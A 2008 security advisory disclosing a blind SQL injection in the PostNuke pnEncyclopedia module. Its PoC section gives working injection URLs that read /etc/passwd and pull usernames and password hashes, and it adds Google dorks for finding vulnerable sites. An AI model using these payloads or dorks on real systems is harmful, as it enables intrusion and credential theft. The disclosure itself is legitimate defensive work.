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[ECHO_ADV_90$2008] PostNuke Module pnEncyclopedia <= 0.2.0 (id) Blind Sql Injection Vulnerability



ECHO_ADV_90$2008

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[ECHO_ADV_90$2008] PostNuke Module pnEncyclopedia <= 0.2.0 (id) Blind Sql 
Injection Vulnerability
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Author         : M.Hasran Addahroni
Date           : May, 5 th 2008
Location       : Jakarta, Indonesia
Web            : http://advisories.echo.or.id/adv/adv90-K-159-2008.txt
Critical Lvl   : Medium
Impact         : System access
Where          : From Remote
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Affected software description:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Application   : pnEncyclopedia
version       : <= 0.2.0
Vendor        : http://sourceforge.net/projects/pnencyclopedia/
Description   :

Encyclopedia intended for the creation of the open encyclopedia on a PostNuke 
website.
Users can submit new terms and offer changes to current ones but an editor can 
accept or reject the requested changes.
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Vulnerability:
~~~~~~~~~~~~~~

Input passed to the "id" parameter is not properly verified before being used 
to sql query. 
This can be exploited thru the browser and get the username and hash md5 
password from users.
Successful exploitation requires that "magic_quotes" is off


Poc/Exploit:
~~~~~~~~~~

http://www.target.com/index.php?module=pnEncyclopedia&func=display_term&id=9999 
union select 1,2,3,4,5,6,version(),8,9,10,11--
http://www.target.com/index.php?module=pnEncyclopedia&func=display_term&id=9999 
union select 1,2,3,4,5,6,load_file(0x2f6574632f706173737764),8,9,10,11--
http://www.target.com/index.php?module=pnEncyclopedia&func=display_term&id=9999 
union select 1,2,3,4,5,6,concat(pn_uname,0x3a,pn_pass),8,9,10,11 from 
nuke_users limit 1,1--

Dork:
~~~~~
Google    : "index.php?module=pnEncyclopedia" 
"allinurl:index.php?module=pnEncyclopedia"


Solution:
~~~~~~~

- Edit the source code to ensure that input is properly verified.
- Turn on magic_quotes in php.ini
 

Timeline:
~~~~~~~~~

- 01 - 05 - 2008 bug found
- 05 - 05 - 2008 advisory released
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Shoutz:
~~~~~
~ ping - my dearest wife, zautha my light of eyes, for all the luv the tears n 
the breath
~ y3dips,the_day,moby,comex,z3r0byt3,c-a-s-e,S`to,lirva32,pushm0v, 
az01,negative,the_hydra,neng chika, str0ke
~ everybody [at] SCAN-NUSANTARA and SCAN-ASSOSIATES
~ 
masterpop3,maSter-oP,Lieur-Euy,Mr_ny3m,bithedz,murp,sakitjiwa,x16,an0maly,cybertank,super_temon,b120t0,inggar,fachri,adi,rahmat,indra,cyb3rh3b
~ dr188le,SinChan,h4ntu,cow_1seng,poniman_coy, ketut, rizal, cR4SH3R, kuntua, 
stev_manado, nofry,k1tk4t,0pt1c
~ newbie_hacker@xxxxxxxxxxxxxxx
~ #aikmel #e-c-h-o @irc.dal.net
~ special for rgod - good bye mate, thanks for the great works.
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Contact:
~~~~~~

     K-159 || echo|staff || eufrato[at]gmail[dot]com
     Homepage: http://k-159.echo.or.id/

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